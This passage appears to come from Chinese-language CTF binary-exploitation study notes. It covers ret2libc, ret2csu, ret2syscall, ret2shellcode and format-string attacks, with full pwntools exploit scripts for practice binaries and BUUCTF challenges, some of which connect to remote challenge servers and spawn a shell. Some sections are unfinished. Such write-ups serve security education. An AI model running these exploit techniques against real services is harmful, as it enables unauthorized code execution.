u64(io.recv().ljust(8 ,b"\x00" )) print ('write_addr:' ,hex (write_addr))libc_base = write_addr - libc.sym["write" ] print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))io.interactive()
1 2 3 4 write_addr: 0x70300a71c560 libc_base: 0x70300a600000 system: 0x70300a658750 bin_sh: 0x70300a7cb42f
0x02 构造最终payload 只需要在原来的基础上增加x64位传参的语句就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context(log_level='debug' ,arch='amd64' , os='linux' ) pwnfile= './question_5_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) padding = 0x10 leak_write_got = 0x404018 write_symbols = elf.symbols['write' ] return_addr = elf.symbols['dofunc' ] pop_rdi_ret = 0x4011fb pop_rsi_r15_ret = 0x4011f9 payload = b'a' * padding + p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_r15_ret) + p64(leak_write_got) + p64(0xdeadbeef ) payload += p64(write_symbols) payload += p64(return_addr) delimiter = 'input:' io.sendlineafter(delimiter, payload) io.recvuntil("byebye" ) write_addr = u64(io.recv(6 ).ljust(8 ,b"\x00" )) print ('write_addr:' ,hex (write_addr))libc_base = write_addr - libc.sym["write" ] print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))gdb.attach(io) pause() payload2 = b'a' * padding + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) delimiter = 'input:' io.sendlineafter(delimiter, payload2) io.interactive()
[+] 在构造 payload2的时候,注意栈对齐问题,可以在 pop_rdi_ret
之前加上一个return_addr
1 payload2 = b'a' * padding + p64(return_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
栈情况 :
1 2 3 4 5 02:0010│ rsi 0x7ffd0c5d84b0 ◂— 0x6161616161616161 ('aaaaaaaa') 03:0018│ rbp 0x7ffd0c5d84b8 ◂— 0x6161616161616161 ('aaaaaaaa') 04:0020│+008 0x7ffd0c5d84c0 —▸ 0x4011fb (__libc_csu_init+91) ◂— pop rdi 05:0028│+010 0x7ffd0c5d84c8 —▸ 0x72d6259cb42f ◂— 0x68732f6e69622f /* '/bin/sh' */ 06:0030│+018 0x7ffd0c5d84d0 —▸ 0x72d625858750 (system) ◂— endbr64
BUUCTF ciscn_2019_c_1 例题 (LibcSearcher) 1 2 3 4 5 6 7 8 ❯ checksec ciscn_2019_c_1 [*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_c_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; init(argc, argv, envp); puts ("EEEEEEE hh iii " ); puts ("EE mm mm mmmm aa aa cccc hh nn nnn eee " ); puts ("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e " ); puts ("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee " ); puts ("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee " ); puts ("====================================================================" ); puts ("Welcome to this Encryption machine\n" ); begin(); while ( 1 ) { while ( 1 ) { fflush(0LL ); v4 = 0 ; __isoc99_scanf("%d" , &v4); getchar(); if ( v4 != 2 ) break ; puts ("I think you can do it by yourself" ); begin(); } if ( v4 == 3 ) { puts ("Bye!" ); return 0 ; } if ( v4 != 1 ) break ; encrypt(); begin(); } puts ("Something Wrong!" ); return 0 ; }
encrypt:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int encrypt () { size_t v0; char s[48 ]; __int16 v3; memset (s, 0 , sizeof (s)); v3 = 0 ; puts ("Input your Plaintext to be encrypted" ); gets(s); while ( 1 ) { v0 = (unsigned int )x; if ( v0 >= strlen (s) ) break ; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xFu ; } else { s[x] ^= 0xEu ; } } else { s[x] ^= 0xDu ; } ++x; } puts ("Ciphertext" ); return puts (s); }
Shift + F12
没有看到 system
, /bin/sh
等后门函数,猜测是 ret2libc 看到 encrypt 函数中的 gets(s)
, 应该就是要溢出的地方,双击进去看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 -0000000000000050 s db 48 dup(?) -0000000000000020 anonymous_0 dw ? -000000000000001E db ? ; undefined -000000000000001D db ? ; undefined -000000000000001C db ? ; undefined -000000000000001B db ? ; undefined -000000000000001A db ? ; undefined -0000000000000019 db ? ; undefined -0000000000000018 db ? ; undefined -0000000000000017 db ? ; undefined -0000000000000016 db ? ; undefined -0000000000000015 db ? ; undefined -0000000000000014 db ? ; undefined -0000000000000013 db ? ; undefined -0000000000000012 db ? ; undefined -0000000000000011 db ? ; undefined -0000000000000010 db ? ; undefined -000000000000000F db ? ; undefined -000000000000000E db ? ; undefined -000000000000000D db ? ; undefined -000000000000000C db ? ; undefined -000000000000000B db ? ; undefined -000000000000000A db ? ; undefined -0000000000000009 db ? ; undefined -0000000000000008 db ? ; undefined -0000000000000007 db ? ; undefined -0000000000000006 db ? ; undefined -0000000000000005 db ? ; undefined -0000000000000004 db ? ; undefined -0000000000000003 db ? ; undefined -0000000000000002 db ? ; undefined -0000000000000001 db ? ; undefined +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?)
可以看到栈顶到栈底一共 0x50 + 0x08
长度, 超过 +0000000000000008 r
就会导致溢出
解题思路: main 函数中多次调用了 puts
, 那就尝试泄露 puts
函数的地址,求出基地址,然后利用基地址计算出 system
和 /bin/sh
的真实地址,rdi 传参 get shell
溢出 0x58
ROPgadget 获取 pop_rdi_ret_addr
和 ret_addr
的地址
puts 函数输出 puts@got
基地址 = 真实地址 - 偏移地址
利用基地址和偏移地址求出 system
和 /bin/sh
的真实地址
回到 main 函数,重新调用 rdi 传参 /bin/sh
到 system
, Get shell
0x0A 先求基地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ❯ ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret" Gadgets information ============================================================ 0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c80 : pop r14 ; pop r15 ; ret 0x0000000000400c82 : pop r15 ; ret 0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004007f0 : pop rbp ; ret 0x0000000000400aec : pop rbx ; pop rbp ; ret 0x0000000000400c83 : pop rdi ; ret 0x0000000000400c81 : pop rsi ; pop r15 ; ret 0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b9 : ret 0x00000000004008ca : ret 0x2017 0x0000000000400962 : ret 0x458b 0x00000000004009c5 : ret 0xbf02 Unique gadgets found: 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *pwnfile = './ciscn_2019_c_1' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) context(log_level='debug' ,arch='amd64' , os='linux' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi_ret = 0x400c83 ret_addr = 0x4006b9 main_addr = 0x400B28 padding = 0x58 payload = b'a' * padding + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendlineafter('choice!\n' , str (1 )) io.sendlineafter('encrypted\n' , payload) io.recvuntil(b"Ciphertext\n" ) io.recvuntil("\n" ) puts_addr = u64(io.recv(6 ).ljust(8 ,b"\x00" )) print ('puts_addr:' ,hex (puts_addr))io.interactive()
输出: puts_addr: 0x7d6c58e87be0
0x0B 继续计算 system
和 /bin/sh
的真实地址
1 2 3 4 5 6 libc_base = puts_addr - libc.sym["puts" ] print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) print ('system_addr:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))
输出:
1 2 3 4 puts_addr: 0x7196f6087be0 libc_base: 0x7196f6000000 system_addr: 0x7196f6058750 bin_sh: 0x7196f61cb42f
0x0C 最终脚本:
1 2 3 payload2 = b'a' * padding + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) io.sendlineafter('choice!\n' , str (1 )) io.sendlineafter('encrypted\n' , payload2)
1 2 3 4 5 6 $ id [DEBUG] Sent 0x3 bytes: b'id\n' [DEBUG] Received 0x8c bytes: b'uid=1000(xekoner) gid=1000(xekoner) groups=1000(xekoner),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),125(libvirt)\n' uid=1000(xekoner) gid=1000(xekoner) groups=1000(xekoner),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),125(libvirt)
在远程打这道题的时候,因为没有 libc 的问题,我们使用 LibcSearcher 这个库 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *pwnfile = './ciscn_2019_c_1' elf = ELF(pwnfile) rop = ROP(pwnfile) context(log_level='debug' ,arch='amd64' , os='linux' ) io = remote("node5.buuoj.cn" ,29492 ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi_ret = 0x400c83 ret_addr = 0x4006b9 main_addr = 0x400B28 padding = 0x58 payload = b'a' * padding + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendlineafter('choice!\n' , str (1 )) io.sendlineafter('encrypted\n' , payload) io.recvuntil(b"Ciphertext\n" ) io.recvuntil("\n" ) puts_addr = u64(io.recv(6 ).ljust(8 ,b"\x00" )) print ('puts_addr:' ,hex (puts_addr))libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) print ('system_addr:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))payload2 = b'a' * padding + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) io.sendlineafter('choice!\n' , str (1 )) io.sendlineafter('encrypted\n' , payload2) io.interactive()
ret2libc x86 与 ret2libc x64大差不差,步骤还是那几个
IDA 或者 gdb 计算溢出大小
溢出后调用程序内的 write, 传参 1
标准输出, write@got
, 4字节长度(i386)
通过真实地址和偏移地址计算出基地址
通过基地址和 libc 中的偏移地址计算出实际地址
ret 回 main
函数,重新构造 payload:调用 system
函数,传参 /bin/sh
需要注意的是传参方式 :
1 2 3 4 5 6 7 8 9 10 11 12 x64: rdx overflow func (通过寄存器传参: rsi rdi rdx rcx r8 r9 ...) xxxxxxxxxxxx _______________________________________________________________________________ x86: rdx overflow func main_ret (or other junk strings) argc1 argc2 argc3
构造 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './question_5_x86' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) padding = 0x14 leak_write_got = elf.got['write' ] write_symbols = elf.symbols['write' ] return_addr = elf.symbols['dofunc' ] payload = flat([b'a' * padding, write_symbols, return_addr, 1 , leak_write_got, 4 , return_addr]) delimiter = 'input:' io.sendlineafter(delimiter, payload) io.recvuntil("byebye" ) write_addr = u32(io.recv(4 )) print ('write_addr:' ,hex (write_addr))libc_base = write_addr - libc.sym["write" ] print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))gdb.attach(io) pause() payload2 = flat([b'a' * padding, system_addr, return_addr, binsh_addr]) delimiter = 'input:' io.sendlineafter(delimiter, payload2) io.recvuntil("byebye" ) io.interactive()
有 system 无 binsh. BSS 段可写:
填充栈空间 ->
p32(get_addr)
: 覆盖返回地址为 gets()
的 PLT 地址,程序会跳转到 gets()
执行
p32(sys_addr)
: gets()
的返回地址(即 gets()
执行完后会跳转到 system()
)
p32(bss_addr)
: gets()
的参数(即输入的目标地址),这里传入 BSS 段地址
p32(bss_addr)
: system()
的参数(即 /bin/sh
字符串的地址),与 gets()
的参数相同
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = process('./ret21ibc2' ) sys_addr = 0x8048490 get_addr = 0x8048460 bss_addr = 0x8044080 payload = 'a' *112 + p32(get_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr) p.sendline(payload) p.sendline('/bin/sh' ) p.interactive()
ret2csu x64 通过修改控制 gadget 的段落来达到控制参数的目的 (输出地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text:00000000004011D8 loc_4011D8: ; CODE XREF: __libc_csu_init+4C↓j .text:00000000004011D8 mov rdx, r14 .text:00000000004011DB mov rsi, r13 .text:00000000004011DE mov edi, r12d .text:00000000004011E1 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:00000000004011E5 add rbx, 1 .text:00000000004011E9 cmp rbp, rbx .text:00000000004011EC jnz short loc_4011D8 .text:00000000004011EE .text:00000000004011EE loc_4011EE: ; CODE XREF: __libc_csu_init+31↑j .text:00000000004011EE add rsp, 8 .text:00000000004011F2 pop rbx <-- !(从这里开始 因为上面的add 指令我们并不需要)! .text:00000000004011F3 pop rbp .text:00000000004011F4 pop r12 .text:00000000004011F6 pop r13 .text:00000000004011F8 pop r14 .text:00000000004011FA pop r15 .text:00000000004011FC retn
执行思路
1 2 3 4 5 1 溢出 2 从0x4011F2 开始,retn = 0x4011D8(上面的一段) 3 r12=argc1; r13=argc2; r14=argc3 4 jnz xxx , 只需要让rbx = 0; rbp = 1 即可 5 call xxxx [r15+rbx*8]: 只需要使 rbx = 0 ; r15 = 要跳转的地址就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context(log_level='debug' ,arch='amd64' , os='linux' ) pwnfile= './question_5_plus_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x10 leak_func_name ='write' leak_func_got = elf.got[leak_func_name] return_addr = elf.symbols['dofunc' ] write_sym = elf.symbols['write' ] pop_rbx_addr = 0x4011F2 rbx=0 rbp=1 r12=1 r13=leak_func_got r14=6 r15 = elf.got['write' ] mov_rdx_r14_addr = 0x4011D8 payload = b'a' * padding payload += flat([pop_rbx_addr , rbx , rbp , r12 , r13 , r14 , r15 , mov_rdx_r14_addr]) payload += p64(0xdeadbeef )*7 + p64(return_addr) delimiter = 'input:' io.sendlineafter(delimiter, payload) io.recvuntil('bye' ) write_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) print ('write_addr:' ,hex (write_addr))libc_addr = write_addr - wirte_offset print ('libc_addr:' ,hex (libc_addr))system_addr = libc_addr + system_offset print ('system_addr:' ,hex (system_addr))bin_sh_addr = libc_addr + bin_sh_offset print ('bin_sh_addr:' ,hex (bin_sh_addr))io.interactive()
ret2csu x64 例题 (没做完) Buuctf ciscn_2019_s_3 可以输入0x400字节大小数据,可以栈溢出在 64 位 Linux 系统中,系统调用(syscall)是通过 rax 寄存器来指定系统调用号
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .text:00000000004004ED push rbp .text:00000000004004EE mov rbp, rsp .text:00000000004004F1 xor rax, rax .text:00000000004004F4 mov edx, 400h ; count .text:00000000004004F9 lea rsi, [rsp+buf] ; buf .text:00000000004004FE mov rdi, rax ; fd .text:0000000000400501 syscall ; LINUX - sys_read .text:0000000000400503 mov rax, 1 .text:000000000040050A mov edx, 30h ; '0' ; count .text:000000000040050F lea rsi, [rsp+buf] ; buf .text:0000000000400514 mov rdi, rax ; fd .text:0000000000400517 syscall ; LINUX - sys_write .text:0000000000400519 retn .text:0000000000400519 vuln endp ; sp-analysis failed
第一段 xor rax, rax
, rax = 0 , 为 read 第二段 mov rax, 1
, rax = 1,为 write
execve的系统调用号位59(0x3b) 可以尝试去构造 execve("/bin/sh",0,0)
, 从而 get shell
1 2 3 4 5 rax=59 rsi='/bin/sh' rax=0 rbx=0 ret=syscall
但是在 ROPgadget 中没有找到 sh 等字符串, **需要通过 read 自己写入 /bin/sh**
ret2syscall 0x32 / 0x64 基本rop之一,意为call system,控制程序执行系统调用,获取shell 利用的是 execve("/bin/sh",NULL,NULL)
向寄存器存放的参数分别为:
系统调用号,即 eax 应该为 0xb
; 此为 execve 对应的系统调用号
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
int 0x80(触发中断)0x32 位例题 0x01: 先 ROPgadget
1 2 3 4 ROPgadget --binary ./pwn --only 'pop|ret' | grep 'eax' ROPgadget --binary ./pwn --only 'pop|ret' | grep 'ebx' ROPgadget --binary ./pwn --string '/bin/sh' ROPgadget --binary ./pwn --only 'int' (int 0x80)
0x02 编写脚本:
1 2 3 padding = 0x10 payload = b'a' * padding + p32(pop_eax_ret) + p32(0x0b ) payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0 ) + p32(0x0 ) + p32(bin_sh) + p32(int_0x80)
0x64 位例题 和32位大差不差,就是传参方面要用寄存器传参 (一般只需要用到三个参数)
1 2 3 4 5 6 7 |系统调用号|`rax`| |第1个参数|`rdi`| |第2个参数|`rsi`| |第3个参数|`rdx`| |第4个参数|`r10`| |第5个参数|`r8`| |第6个参数|`r9`|
1 2 3 4 ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rax' ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rsi' ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdx'
注意! syscall 必须要带 ret 关于怎么找可以用:
1 2 3 4 5 objdump -d -M intel ./pwn | grep -A1 "syscall" -- 45f155: 0f 05 syscall 45f157: c3 ret
1 2 payload = b'a' * padding + rdi_addr + bin_sh + eax_rdx_ebx_addr + p64(0x3b ) payload += p64(0x0 ) + p64(0X0 ) + rsi_addr + p64(0x0 ) + syscall_addr
ret2shellcode 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int dofunc () { char buf[0x100 ]; int pagesize = getpagesize(); long long int addr = buf2; addr = (addr >>12 )<<12 ; mprotect(addr, pagesize, 7 ); puts ("input:" ); read(0 ,buf,0x200 ); strncpy (buf2, buf, 100 ); printf ("bye bye ~" ); return 0 ; } int main () { dofunc(); return 0 ; }
攻击思路
buf 栈中填入 shellcode , \x00
补满到 padding 处
rbp: junk 数据 (其实 \x00
补满到 padding 处已经补满 rbp 了 (padding = padding2rbp + 8))
ret 到 buf2 , 执行 shellcode
计算溢出长度 (等待 read 后输入八字节长度 (x64) 后输入)
1 2 pwndbg> distance $rsp $rbp 0x7fffffffdb00->0x7fffffffdc10 is 0x110 bytes (0x22 words)
rsp 到 rbp 的长度为 0x110
, 还需要加 rbp
的八字节
编写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(log_level='debug' ,arch='amd64' ,os='linux' ) pwnfile = './question_6_3_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) buf2_ret = elf.symbols['buf2' ] padding2rbp = 0x110 padding = padding2rbp + 8 payload = asm(shellcraft.sh()).ljust(padding, b'\x00' ) + p64(buf2_ret) gdb.attach(io) pause() io.sendlineafter('input:' , payload) io.interactive()
.ljust(padding, b'\x00')
: 用 \x00
填充至 padding
长度,确保覆盖到返回地址
关于栈迁移的可以去看 ciscn_2019_es_2 writeup(栈迁移)
ret2dlresolve https://blog.csdn.net/qq_51868336/article/details/114644569
x32 无需确定 libc 版本, x64需要
NO RELRO 可以直接修改 string table entry func name ,比如说 read -> system ,dl-resolve 调用的就是 system
Partial RELRO 需要在 st 中构造一个 fake 条目(因为不能修改 st 条目了),就相当于要构造 fake relocation
fake symbols
fake string table (function name) -> 'system\x00'
格式化字符串 (例题) 栈上格式化字符串 一般解题方法:
1 2 aaaa%p%p%p%p%p%p%p%p%p%p aaaa%7$p (验证)
任意地址写入
修改什么地方的值
栈
got 表项 : printf 修改为 system , buf 参数为输入的 /bin/sh
one_gadget
malloc_hook:printf
x86 例题 0x0A 先泄露 main+30地址 01:0004│-124 0xffffd0e4 —▸ 0xffffd0fc ◂— 0x61616161 ('aaaa')
4b:012c│+004 0xffffd20c —▸ 0x5655638e (main+30) ◂— mov eax, 0
1 2 pwndbg> p (0xffffd20c-0xffffd0e0)/4 $5 = 75
验证: 在 main 中的 dofunc 中,read 后,输入
1 2 3 4 pwndbg> ni %75$p ... 0x5655638e (可以看到和main+30处地址是一样的 1 0x5655638e main+30)
%75$p
: 从栈上泄露第 75 个参数的值
Buuctf_jarvisoj_fm(x86 栈上格式化字符串漏洞) buuctf pwn 板块 jarvisoj_fm 题目,考察 x86 栈上格式化字符串漏洞
1 2 3 4 5 6 7 [*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/fm' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[80 ]; unsigned int v5; v5 = __readgsdword(0x14u ); be_nice_to_people(); memset (buf, 0 , sizeof (buf)); read(0 , buf, 0x50u ); printf (buf); printf ("%d!\n" , x); if ( x == 4 ) { puts ("running sh..." ); system("/bin/sh" ); } return 0 ; }
让 x=4
就可以拿到 shell, 看样子因该是格式化字符串漏洞,验证:
1 2 3 4 ❯ ./fm aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x aaaa.ff98b81c.50.1.0.1.eae9da20.ff98b934.0.ff98ba8b.35.61616161.2e78252e.252e7825.78252e78.2e78252e.252e7825 3!
看到输入的 aaaa
在第十一位输出了 61616161
, 那修改 x 的值就很简单了:
思路
输入 x 的地址
格式化字符串漏洞,利用 %11$n
,将四字节( str(4) )写入%11,也就是 x 的地址的值
Get shell
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) pwnfile= './fm' elf = ELF(pwnfile) rop = ROP(pwnfile) io = remote("node5.buuoj.cn" ,26848 ) x_addr = 0x804A02C payload = p32(x_addr) + b'%11$n' io.sendline(payload) io.interactive()